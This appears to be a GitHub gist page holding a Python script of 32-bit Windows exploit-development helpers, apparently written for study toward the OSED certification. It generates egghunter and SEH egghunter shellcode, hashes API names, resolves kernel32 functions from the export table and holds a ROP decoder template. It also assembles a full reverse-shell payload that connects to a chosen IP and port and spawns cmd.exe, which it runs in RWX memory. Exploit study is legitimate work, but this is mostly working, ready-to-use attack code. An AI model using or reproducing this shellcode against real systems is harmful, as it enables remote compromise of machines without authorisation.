Skip to content

Instantly share code, notes, and snippets.

@maK-
Last active September 16, 2022 18:01
Show Gist options
  • Save maK-/a80b0d125ee24bafec3554112a54390d to your computer and use it in GitHub Desktop.
Save maK-/a80b0d125ee24bafec3554112a54390d to your computer and use it in GitHub Desktop.
32-bit Exploit Development Snippets (OSED Certification Exam)
#!/usr/bin/python3
# ___ ____ _____ ____
# / _ \/ ___|| ____| _ \ 32-bit
# | | | \___ \| _| | | | | Exploit
# | |_| |___) | |___| |_| | Development
# \___/|____/|_____|____/ Snippets
# by Ciaran McNally
#======================================
#======================================
import argparse
import subprocess
import os
import sys
import re
import numpy
import ctypes, struct
from struct import pack
from keystone import *
from pwn import unpack
#Function to calculate the 4-byte hash
def ror_str(byte, count):
binb = numpy.base_repr(byte, 2).zfill(32)
while count > 0:
binb = binb[-1] + binb[0:-1]
count -= 1
return (int(binb, 2))
#Convert IP string to shellcode format
def convert_ip(ipaddr):
ipdata = ipaddr.split(".")
result = "0x"
try:
for i in range(0,4):
result += str(hex(int(ipdata.pop())))[-2:].replace("x","0")
except IndexError:
print("Incorrect IP Address format provided!")
print("IP address raw: "+result+" ("+ipaddr+")")
ipval = int(result, 16)
diffval = int("0xffffffff", 16)
forshell = str(hex(diffval - ipval)).replace("'","")
if len(forshell) != 10:
forshell.replace("0x", "0x0")
print("For shellcode: "+forshell)
return forshell
#Convert port string to shellcode format
def convert_port(port):
data = str(pack("<L", int(port))[:-2])
result = "0x"
cleaned = data.replace("\\x","").replace("b'","").replace("'","")
result += cleaned
print("Port used: "+result+" ("+port+")")
return result
#Output shellcode from keystone
def gen_sc(codez):
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(codez)
instructions = ''
for dec in encoding:
instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("Found "+str(count)+" instructions. Printing egghunter...")
print("------------------------------------------")
print(instructions)
print("------------------------------------------")
#Exec shellcode in current python process
def exec_sc(codez):
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(codez)
print("Instructions encoded: %d" % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
print("Length of shellcode: "+str(len(shellcode)))
#Print the shellcode
psc = ""
for dec in encoding:
psc += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("------------------------------------------")
print(psc)
print("------------------------------------------")
#Allocate a memory page (RWX) for shellcode
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#Move shellcode to allocated region
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address: %s" % hex(ptr))
print("=[Attach Your Debugger]=")
input("Press any key to execute shellcode...")
#Run the shellcode from allocated region in a new thread
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
"""
#========== TEMPLATES ================
#=====================================
#Function map bad characters in shellcode
def map_badchar(codez):
BADCHAR = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
i = 0
bindex = [] #Keep track of bad chars in shellcode
while i < len(codez):
for ch in BADCHAR:
if codez[i] == ch:
bindex.append(i)
i = i + 1
return bindex
#Function to Custom encode the shellcode
def encode_sc(codez):
BADCHAR = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
REPLACECH = b"\xff\x10\x06\x07\x08\x05\x1f"
encsh = codez
for i in range(len(BADCHAR)):
encsh = encsh.replace(pack("B", BADCHAR[i]), pack("B", REPLACECH[i]))
return encsh
#Template function to decode Custom encoded shellcode
def decode_sc(dllBase, badIndex, codez):
BADCHAR = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
ADDCHARS = b"\x01\xf9\x04\x04\x04\x08\x01"
restoreROP = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHAR)):
if codez[badIndex[i]] == BADCHAR[j]:
value = ADDCHARS[j]
value = (value << 8) | 0x1110011
#NOTE: CHANGE DEPENDING ON GADGETS AVAILABLE
restoreROP += pack("<L", (dllBase + 0x117c)) #pop ecx; ret
restoreROP += pack("<L", (neg_offset)) #the replace offset
restoreROP += pack("<L", (dllBase + 0x4a7b6)) #pop eax, ecx; pop ebx; ret
restoreROP += pack("<L", (value)) #values in BH
restoreROP += pack("<L", (dllBase + 0x468ee)) #add [eax+1], bh; ret
return restoreROP
#=====================================
"""
#----------------------
# MAIN FUNCTION
#----------------------
if __name__ == '__main__':
parse = argparse.ArgumentParser()
parse.add_argument("-b", "--badchars", action="store_true", default=False,
help="Print all bad characters")
parse.add_argument("-nasm", "--nasm", action="store_true", default=False,
help="Open nasm shell")
parse.add_argument("-pc","--patterncreate", type=str, default=None,
help="Create a patttern to identify offsets")
parse.add_argument("-po","--patternoffset", type=str, default=None,
help="Find Pattern offset")
parse.add_argument("-egg", "--egghunt", action="store_true", default=False,
help="Generate egghunter shellcode")
parse.add_argument("-eggs", "--eggseh", action="store_true", default=False,
help="Generate SEH egghunter shellcode")
parse.add_argument("-rp", "--roplus", nargs="+", default=[],
help="Leverage rp++ output args <eg.exe> <result.txt>")
parse.add_argument("-ss", "--stackstr", type=str, default=None,
help="Convert string to stack format for shellcoding")
parse.add_argument("-fh", "--funchash", type=str, default=None,
help="4-byte hash of a function for shellcoding")
parse.add_argument("-smb", "--smbsrv", action="store_true", default=False,
help="Spin up impacket smbserver")
parse.add_argument("-dbg", "--dbgpy", action="store_true", default=False,
help="Debug current python process and exec shellcode")
parse.add_argument("-k32", "--findk32", action="store_true", default=False,
help="Shellcode to find kernel32.dll base address")
parse.add_argument("-func", "--findf", action="store_true", default=False,
help="Find function dynamically from EAT (k32)")
parse.add_argument("-rev", "--customrev", nargs="+", default=[],
help="Reverse shell (args): <ip> <port>")
args = parse.parse_args()
if len(sys.argv) <= 1:
parse.print_help()
sys.exit(0)
#----------------------
#Print out \x00 - \xff
#----------------------
if args.badchars:
print("\nFor finding bad characters...")
print("------------------------------------------")
for x in range(1,256):
print("\\x" + "{:02x}".format(x), end="")
print("\n------------------------------------------")
#----------------------
#Use msf-pattern_create
#----------------------
if args.patterncreate != None and args.patternoffset == None:
if os.name == "nt":
print("This needs to be run on Kali...")
else:
print("\nGenerating pattern...")
print("------------------------------------------")
msf_pc = ("msf-pattern_create","-l", args.patterncreate)
subprocess.run(msf_pc)
print("------------------------------------------")
#----------------------
#Use msf-pattern_offset
#----------------------
if args.patterncreate != None and args.patternoffset != None:
if os.name == "nt":
print("This needs to be run on Kali...")
else:
print('\nGetting pattern offset...')
print('------------------------------------------')
msf_po = ("msf-pattern_offset","-l", args.patterncreate,
"-q", args.patternoffset)
subprocess.run(msf_po)
#----------------------
#Use msf-pattern_offset
#----------------------
if args.patterncreate == None and args.patternoffset != None:
if os.name == "nt":
print("This needs to be run on Kali...")
else:
print('\nGetting pattern offset...')
print('------------------------------------------')
msf_po = ("msf-pattern_offset","-q", args.patternoffset)
subprocess.run(msf_po)
#----------------------
#Open msf-nasm_shell
#----------------------
if args.nasm:
if os.name == "nt":
print("This needs to be run on Kali...")
else:
msf_nasm = ("msf-nasm_shell")
subprocess.run(msf_nasm)
#----------------------
#Open smbserver
#----------------------
if args.smbsrv:
if os.name == "nt":
print("This needs to be run on Kali...")
else:
hostip = ("hostname", "-I")
subprocess.run(hostip)
smb_srv = ("impacket-smbserver","kalismb","$(pwd)")
subprocess.run(smb_srv)
#----------------------------
#Generate Egghunter shellcode
#----------------------------
if args.egghunt and os.name == "nt":
CODE = (" "
" loop_inc_pg: "
" or dx, 0x0fff; " #Go to last address in page
" loop_inc_one: "
" inc edx; " #Increase memory counter
" loop_check: "
" push edx; " #Save edx addr to stack
" mov eax, 0xfffffe3a; " #negative value of syscall 1C6
" neg eax; " #neg eax to get actual value -
#init NtAccessCheckAndAuditAlarm
" int 0x2e; " #Do syscall
" cmp al,05; " #Check if Access violation
" pop edx; " #Restore value for egg check
" loop_check_valid: "
" je loop_inc_pg; " #If access violation - next page
" egg_found: "
" mov eax, 0x74303077; " #Push w00t to eax (using w00tw00t)
" mov edi, edx; " #init pointer with current addr
" scasd; " #Compare eax w/ dw in edi
" jnz loop_inc_one; " #No match, increase counter
" scasd; " #First part found, try next
" jnz loop_inc_one; " #No match (only half found)
" matched: "
" jmp edi; " #The edi reg points buffer, jmp
)
gen_sc(CODE)
#---------------------------------
#Generate Egghunter SEH shellcode
#---------------------------------
if args.eggseh and os.name == "nt":
CODE = (" "
" start: "
" jmp get_seh_addr; " #Jump to negative call
" build_except_record: "
" pop ecx; " #pop addr of exception handler
" mov eax, 0x74303077; " #w00t signature (using w00tw00t)
" push ecx; " #push Handler of err structure
" push 0xffffffff; " #push Next of err structure
" xor ebx, ebx; " #null out ebx
" mov dword ptr fs:[ebx], esp; " #overwite Exceptionlist in TEB
" sub ecx, 0x04; " #subtract 4 from exception_handler
" add ebx, 0x04; " #Add 4 to ebx (offset to overwrite)
" mov dword ptr fs:[ebx], ecx; " #overwrite the StackBase
" is_egg: " #with new err structure
" push 0x02; "
" pop ecx; " #pop value into ecx as counter
" mov edi, ebx; " #move memory addr into edi
" repe scasd; " #check sig, if invalid trigger exception
" jnz loop_inc_one; " #not found, increase ebx
" jmp edi; " #found sig, jump to
" loop_inc_pg: "
" or bx, 0xfff; " #if invalid, eip points here and next page
" loop_inc_one: " #increase ebx by one
" inc ebx; "
" jmp is_egg; " #check sig
" get_seh_addr: "
" call build_except_record; " #call higher address, push & ret egg pos
" push 0x0c; " #push to stack
" pop ecx; " #pop to ecx
" mov eax, [esp+ecx]; " #mov pointer for CONTEXT(exception) to eax
" mov cl, 0xb8; " #offset to the eip
" add dword ptr ds:[eax+ecx], 0x06;" #increase val eip +6 CONTEXT to inc mempage
" pop eax; " #save val to eax
" add esp, 0x10; " #increase esp to clean stack for call
" push eax; " #push return val to stack
" xor eax, eax; " #null eax to simulate ExceptionContinuExec
" ret; " #returning
)
gen_sc(CODE)
#---------------------------------------
#Run shellcode in current python process
#for WinDBG (exploring TEB/PEB)
#---------------------------------------
if args.dbgpy and os.name == "nt":
CODE = (" "
" start: "
" int3; " #Breakpoint for WinDBG
" mov ebp, esp; "
" sub esp, 60h; "
)
exec_sc(CODE)
#---------------------------------------
#Find kernel32.dll base address
#---------------------------------------
if args.findk32 and os.name == "nt":
CODE = (" "
" start: "
" int3; " #Breakpoint for WinDBG
" mov ebp, esp; " #Emulate a function call
" sub esp, 60h; " #Easy access to args avoiding stack clobber
" find_k32dll: "
" xor ecx, ecx; " #ecx = 0
" mov esi, fs:[ecx+30h]; " #Store pointer to PEB in esi (offset x30)
" mov esi, [esi+0Ch]; " #PEB LDR data structure (offset x0C)
" mov esi, [esi+1Ch]; " #LDR.InInitOrderModuleList entry (offset x1C)
" next_mod: "
" mov ebx, [esi+8h]; " #Move baseaddr to ebx | InInitOrder[x].base_addr
" mov edi, [esi+20h]; " #Move modulename to edi | InInitOrder[x].mod_name
" mov esi, [esi]; " #ESI = InInitOrder[x].flink (next link in list)
" cmp [edi+12*2], cx; " #mod_name[12chars (kernel32.dll)] == null terminated?
" jne next_mod; " #Not found, next module
" ret; "
)
exec_sc(CODE)
#----------------------------------------------------
#Find kernel32.dll functions (example for shellcoding)
#Dynamic resolve from Export Names Table
#Resolve and execute "TerminateProcess"
#----------------------------------------------------
if args.findf and os.name == "nt":
CODE = (" "
" start: "
#" int3; " #Breakpoint for WinDBG
" mov ebp, esp; " #Emulate a function call
" add esp, 0xfffffdf0; " #Easy access to args avoiding stack clobber
" find_k32dll: "
" xor ecx, ecx; " #ecx = 0
" mov esi, fs:[ecx+30h]; " #Store pointer to PEB in esi (offset x30)
" mov esi, [esi+0Ch]; " #PEB LDR data structure (offset x0C)
" mov esi, [esi+01Ch]; " #LDR.InInitOrderModuleList entry (offset x1C)
" next_mod: "
" mov ebx, [esi+8h]; " #Move baseaddr to ebx | InInitOrder[x].base_addr
" mov edi, [esi+20h]; " #Move modulename to edi | InInitOrder[x].mod_name
" mov esi, [esi]; " #ESI = InInitOrder[x].flink (next link in list)
" cmp [edi+12*2], ecx; " #mod_name[12chars (kernel32.dll)] == null terminated?
" jne next_mod; " #Not found, next module
#Avoid Null Bytes so using relative jumps
" find_func_short: "
" jmp find_func_short_bnc; " #Short jump
" find_func_ret: "
" pop esi; " #Pop the return address from the stack (esi)
" mov [ebp+0x04], esi; " #Save find_func address for later usage
" jmp resolve_symbols_k32; " #Jump down to resolve the symbols
" find_func_short_bnc: "
" call find_func_ret; " #Relative call with negative offset (above)
#Finding function from EAT
" find_func: "
" pushad; " #Save all registers to stack (clean restore)
" mov eax, [ebx+0x3c]; " #Offset to PE signature (BASE ADDR)
" mov edi, [ebx+eax+0x78]; " #Export Table Directory - RVA
" add edi, ebx; " #Export Table added to baseaddr (VMA of EAT)
" mov ecx, [edi+0x18]; " #NumberOfNames (Number of symbols - counter)
" mov eax, [edi+0x20]; " #AddressOfNames RVA
" add eax, ebx; " #AddressOfNames VMA
" mov [ebp-4], eax; " #Save AddressOfNames VMA for later use
" find_func_loop: "
" jecxz find_func_end; " #Jump to the end if ecx == 0
" dec ecx; " #Decrement our names counter
" mov eax, [ebp-4]; " #Restore AddressOfNames VMA
" mov esi, [eax+ecx*4]; " #Get RVA of symbol name (each entry dword)
" add esi, ebx; " #Set ESI to VMA of current symbol name (+base)
#Calculating hash of Function name
" compute_hash: "
" xor eax, eax; " #Zero out eax
" cdq; " #Zero out edx
" cld; " #Clear direction
" compute_hash_again: "
" lodsb; " #Load next byte from esi to al
" test al, al; " #Check for null terminator
" jz compute_hash_end; " #If ZF we hit NULL terminator
" ror edx, 0x0d; " #Rotate edx 13bits to right
" add edx, eax; " #Add the new byte to accumulator
" jmp compute_hash_again; " #Iterate
" compute_hash_end: "
#Function address found?
" find_func_compare: "
" cmp edx, [esp+0x24]; " #Compare hash with requested hash (on stack)
" jnz find_func_loop; " #Not a match, continue search
" mov edx, [edi+0x24]; " #AddressOfNameOrdinals RVA
" add edx, ebx; " #AddressOfNameOrdinals VMA
" mov cx, [edx+2*ecx]; " #Extrapolate the functions ordinal
" mov edx, [edi+0x1c]; " #AddressOfFunctions RVA
" add edx, ebx; " #AddressOfFunctions VMA
" mov eax, [edx+4*ecx]; " #Get the functions RVA
" add eax, ebx; " #Get the functions VMA
" mov [esp+0x1c], eax; " #Overwrite eax on the stack (pushad) (return value)
" find_func_end: "
" popad; " #Restore registers from stack
" ret; "
" resolve_symbols_k32: "
" push 0x78b5b983; " # TerminateProcess hash (generated using py)
" call dword ptr [ebp+0x04]; " #Call find_function (pushed earlier)
" mov [ebp+0x10], eax; " #Save TerminateProcess Address for later usage
" exec_sc: "
" xor ecx, ecx; " #Null out ecx
" push ecx; " #uExitCode (pushed to stack)
" push 0xffffffff; " #hProcess (-1 - same proc)
" call dword ptr [ebp+0x10]; " #Call the TerminateProcess Win32 Function
)
exec_sc(CODE)
#-------------------------------------------------------------------------------
# Custom reverse shell - try remove common badchars like \x00\x0d\x20\x2b\x3d\x5e
#-------------------------------------------------------------------------------
if len(args.customrev) == 2 and os.name == "nt":
ipaddress = convert_ip(args.customrev[0])
port = convert_port(args.customrev[1])
CODE = (
" start: " #
" mov ebp, esp ;" #
" add esp, 0xfffff9f0 ;" # Avoid NULL bytes
" find_kernel32: " #
" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder
" next_module: " #
#" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address
" xor eax, eax ;" # Wiping EAX
" add eax, [esi+0x08] ;" # Add value to EAX to remove E5 opcode
" mov ebx, eax ;" # Move to EBX
" xor eax, eax ;" # Wiping EAX
#" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name
" mov eax, esi ;" # Attempting to replace x20 add
" add eax, 0x10 ;" # Adding 0x10 = + 0x20
" add eax, 0x10 ;" # Adding 0x10 = + 0x20
" mov edi, [eax] ;" # Replacing with original value = [esi+0x20]
" xor eax, eax ;" # Wiping EAX
# EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00 ?
" jne next_module ;" # No: try next module
" find_function_shorten: " #
" jmp find_function_shorten_bnc ;" # Short jump
" find_function_ret: " #
#" pop esi ;" # POP the return address from the stack
" pop eax ;" # Replacing 5e opcode
#" mov [ebp+0x04], esi ;" # Save find_function address for later usage
" mov [ebp+0x04], eax ;" # Save find_function address for later usage
" jmp resolve_symbols_kernel32 ;" #
" find_function_shorten_bnc: " #
" call find_function_ret ;" # Relative CALL with negative offset
" find_function: " #
" pushad ;" # Save all registers
# Base address of kernel32 is in EBX from
# Previous step (find_kernel32)
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA
" add edi, ebx ;" # Export Table Directory VMA
" mov ecx, [edi+0x18] ;" # NumberOfNames
#" mov eax, [edi+0x20] ;" # AddressOfNames RVA
" mov edx, edi ;" # Replacing 0x20 opcode
" add edx, 0x10 ;" # Adding +0x10
" add edx, 0x10 ;" # Adding +0x10
" mov eax, [edx] ;" # Moving Address of Names
" add eax, ebx ;" # AddressOfNames VMA
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later
" find_function_loop: " #
" jecxz find_function_finished ;" # Jump to the end if ECX is 0
" dec ecx ;" # Decrement our names counter
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name
" add esi, ebx ;" # Set ESI to the VMA of the current symbol name
" compute_hash: " #
" xor eax, eax ;" # NULL EAX
" cdq ;" # NULL EDX
" cld ;" # Clear direction
" compute_hash_again: " #
" lodsb ;" # Load the next byte from esi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term
#" ror edx, 0x0d ;" # Rotate edx 13 bits to the right
# Rotate 12 + 1?
" ror edx, 0x0c ;" # Rotate edx 13 bits to the right
" ror edx, 0x01 ;" # Rotate edx 13 bits to the right
" add edx, eax ;" # Add the new byte to the accumulator
" jmp compute_hash_again ;" # Next iteration
" compute_hash_finished: " #
" find_function_compare: " #
" cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash
" jnz find_function_loop ;" # If it doesn't match go back to find_function_loop
" mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA
" add edx, ebx ;" # AddressOfNameOrdinals VMA
" mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal
" mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA
" add edx, ebx ;" # AddressOfFunctions VMA
" mov eax, [edx+4*ecx] ;" # Get the function RVA
" add eax, ebx ;" # Get the function VMA
" mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad
" find_function_finished: " #
" popad ;" # Restore registers
" ret ;"
" resolve_symbols_kernel32: "
" push 0x78b5b983 ;" # TerminateProcess hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save TerminateProcess address for later usage
" push 0xec0e4e8e ;" # LoadLibraryA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x14], eax ;" # Save LoadLibraryA address for later usage
" push 0x16b3fe72 ;" # CreateProcessA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x18], eax ;" # Save CreateProcessA address for later usage
" load_ws2_32: " #
" xor eax, eax ;" # NULL EAX
" mov ax, 0x6c6c ;" # Move the end of the string in AX
" push eax ;" # Push EAX on the stack with string NULL terminator
" push 0x642e3233 ;" # Push part of the string on the stack
" push 0x5f327377 ;" # Push another part of the string on the stack
" push esp ;" # Push ESP to have a pointer to the string
" call dword ptr [ebp+0x14] ;" # Call LoadLibraryA
" resolve_symbols_ws2_32: "
" mov ebx, eax ;" # Move the base address of ws2_32.dll to EBX
" push 0x3bfcedcb ;" # WSAStartup hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x1C], eax ;" # Save WSAStartup address for later usage
" push 0xadf509d9 ;" # WSASocketA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
#" mov [ebp+0x20], eax ;" # Save WSASocketA address for later usage
#Trying to remove +0x20 above
" xor edx, edx ;" #0 out edx
" mov dl, 0x1f ;" #Adding 0x1f to edx
" mov [ebp + edx + 0x01], eax ;" # Save WSASocketA address for later usage
" push 0xb32dba0c ;" # WSAConnect hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x24], eax ;" # Save WSAConnect address for later usage
" call_wsastartup: " #
" mov eax, esp ;" # Move ESP to EAX
" mov cx, 0x590 ;" # Move 0x590 to CX
" sub eax, ecx ;" # Substract CX from EAX to avoid overwriting the structure later
" push eax ;" # Push lpWSAData
" xor eax, eax ;" # NULL EAX
" mov ax, 0x0202 ;" # Move version to AX
" push eax ;" # Push wVersionRequired
" call dword ptr [ebp+0x1C] ;" # Call WSAStartup
" call_wsasocketa: " #
" xor eax, eax ;" # NULL EAX
" push eax ;" # Push dwFlags
" push eax ;" # Push g
" push eax ;" # Push lpProtocolInfo
" mov al, 0x06 ;" # Move AL, IPPROTO_TCP
" push eax ;" # Push protocol
" sub al, 0x05 ;" # Substract 0x05 from AL, AL = 0x01
" push eax ;" # Push type
" inc eax ;" # Increase EAX, EAX = 0x02
" push eax ;" # Push af
#" call dword ptr [ebp+0x20] ;" # Call WSASocketA
# Remove 0x20
" xor edx, edx ;" # 0 out edx
" mov dl, 0x1f ;" # Adding 0x1f to edx
" call dword ptr [ebp+edx+0x01] ;" # Call WSASocketA
" call_wsaconnect: " #
" mov esi, eax ;" # Move the SOCKET descriptor to ESI
" xor eax, eax ;" # NULL EAX
" push eax ;" # Push sin_zero[]
" push eax ;" # Push sin_zero[]
" mov eax, 0xffffffff ;" # Calculated offset
" sub eax, "+ ipaddress +";" # Restore original value
" push eax ;" # Push sin_addr (192.168.119.120)
" xor eax, eax ;" # NULL EAX
" mov ax, "+ port +";" # Move the sin_port (443) to AX
" shl eax, 0x10 ;" # Left shift EAX by 0x10 bytes
" add ax, 0x02 ;" # Add 0x02 (AF_INET) to AX
" push eax ;" # Push sin_port & sin_family
" push esp ;" # Push pointer to the sockaddr_in structure
" pop edi ;" # Store pointer to sockaddr_in in EDI
" xor eax, eax ;" # NULL EAX
" push eax ;" # Push lpGQOS
" push eax ;" # Push lpSQOS
" push eax ;" # Push lpCalleeData
" push eax ;" # Push lpCalleeData
" add al, 0x10 ;" # Set AL to 0x10
" push eax ;" # Push namelen
" push edi ;" # Push *name
" push esi ;" # Push s
" call dword ptr [ebp+0x24] ;" # Call WSAConnect
" create_startupinfoa: " #
" push esi ;" # Push hStdError
" push esi ;" # Push hStdOutput
" push esi ;" # Push hStdInput
" xor eax, eax ;" # NULL EAX
" push eax ;" # Push lpReserved2
" push eax ;" # Push cbReserved2 & wShowWindow
" mov al, 0x80 ;" # Move 0x80 to AL
" xor ecx, ecx ;" # NULL ECX
#" mov cx, 0x80 ;" # Move 0x80 to CX
" mov cl, 0x80 ;" # REPLACED: Move 0x80 to CL
" add eax, ecx ;" # Set EAX to 0x100
" push eax ;" # Push dwFlags
" xor eax, eax ;" # NULL EAX
" push eax ;" # Push dwFillAttribute
" push eax ;" # Push dwYCountChars
" push eax ;" # Push dwXCountChars
" push eax ;" # Push dwYSize
" push eax ;" # Push dwXSize
" push eax ;" # Push dwY
" push eax ;" # Push dwX
" push eax ;" # Push lpTitle
" push eax ;" # Push lpDesktop
" push eax ;" # Push lpReserved
" mov al, 0x44 ;" # Move 0x44 to AL
" push eax ;" # Push cb
" push esp ;" # Push pointer to the STARTUPINFOA structure
" pop edi ;" # Store pointer to STARTUPINFOA in EDI
" create_cmd_string: " #
" mov eax, 0xff9a879b ;" # Move 0xff9a879b into EAX
" neg eax ;" # Negate EAX, EAX = 00657865
" push eax ;" # Push part of the "cmd.exe" string
" push 0x2e646d63 ;" # Push the remainder of the "cmd.exe" string
" push esp ;" # Push pointer to the "cmd.exe" string
" pop ebx ;" # Store pointer to the "cmd.exe" string in EBX
" call_createprocessa: " #
" mov eax, esp ;" # Move ESP to EAX
" xor ecx, ecx ;" # NULL ECX
" mov cx, 0x390 ;" # Move 0x390 to CX
" sub eax, ecx ;" # Substract CX from EAX to avoid overwriting the structure later
" push eax ;" # Push lpProcessInformation
" push edi ;" # Push lpStartupInfo
" xor eax, eax ;" # NULL EAX
" push eax ;" # Push lpCurrentDirectory
" push eax ;" # Push lpEnvironment
" push eax ;" # Push dwCreationFlags
" inc eax ;" # Increase EAX, EAX = 0x01 (TRUE)
" push eax ;" # Push bInheritHandles
" dec eax ;" # NULL EAX
" push eax ;" # Push lpThreadAttributes
" push eax ;" # Push lpProcessAttributes
" push ebx ;" # Push lpCommandLine
" push eax ;" # Push lpApplicationName
" call dword ptr [ebp+0x18] ;" # Call CreateProcessA
)
exec_sc(CODE)
#------------------------------------------------
#Run rp++ on exe/dll - rop gadgets
#------------------------------------------------
if len(args.roplus) == 2:
if os.name == "nt":
filename = open(args.roplus[1], "w")
rp_run = ("rp-win-x86.exe", "-f", args.roplus[0], "-r", "5")
res = subprocess.call(rp_run, stdout=filename)
else:
print("This needs to be run on Windows...")
#------------------------------------------------
#Convert a string to push to stack
#ref: https://gist.github.com/JohnHammond/f78a9d878585bad232cba060c1d79623
#------------------------------------------------
if args.stackstr != None:
data = bytes(args.stackstr,"utf-8")
str_pieces = []
lil_reg = "al"
half_reg = "ax"
full_reg = "eax"
print("Push string/args to stack x86...")
print("------------------------------------------")
for i in range(0, len(data), 4):
blob = data[i : i + 4]
str_pieces.append((hex(unpack(blob, "all")),blob.decode("utf-8")))
count = 0
for each in str_pieces[::-1]:
piece, value = each
if len(piece) <= 10:
reg = full_reg
if len(piece) <= 6:
print(f'"xor {full_reg}, {full_reg};" # zero out {full_reg}')
reg = half_reg
print(f'"mov {reg}, {piece}"; # ensure nullbyte')
print(f"\"push {full_reg};\" # end string '{value}' with nullbyte")
count += 1
continue
if len(piece) <= 4:
print(f'"xor {full_reg}, {full_reg};" # zero out {full_reg}')
reg = lil_reg
print(f'"mov {reg}, {piece};" # ensure nullbyte')
print(f"\"push {full_reg};\" # end string '{value}' with nullbyte")
count += 1
continue
if count == 0:
print(f'"xor {full_reg}, {full_reg};" # zero out {full_reg}')
print(f'"push {full_reg};" # ensure nullbyte')
print(f"\"push {piece};\" # push '{value}' onto stack")
count += 1
print("------------------------------------------")
#------------------------------------------------
#Generate a 4-byte hash of a Function name
#------------------------------------------------
if args.funchash != None:
esi = args.funchash
edx = 0x00
ror_count = 0
for eax in esi:
edx = edx + ord(eax)
if ror_count < len(esi)-1:
edx = ror_str(edx, 0xd)
ror_count += 1
print("Calculated 4-byte hash of Function: "+esi)
print("------------------------------------------")
print(hex(edx))
print("------------------------------------------")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment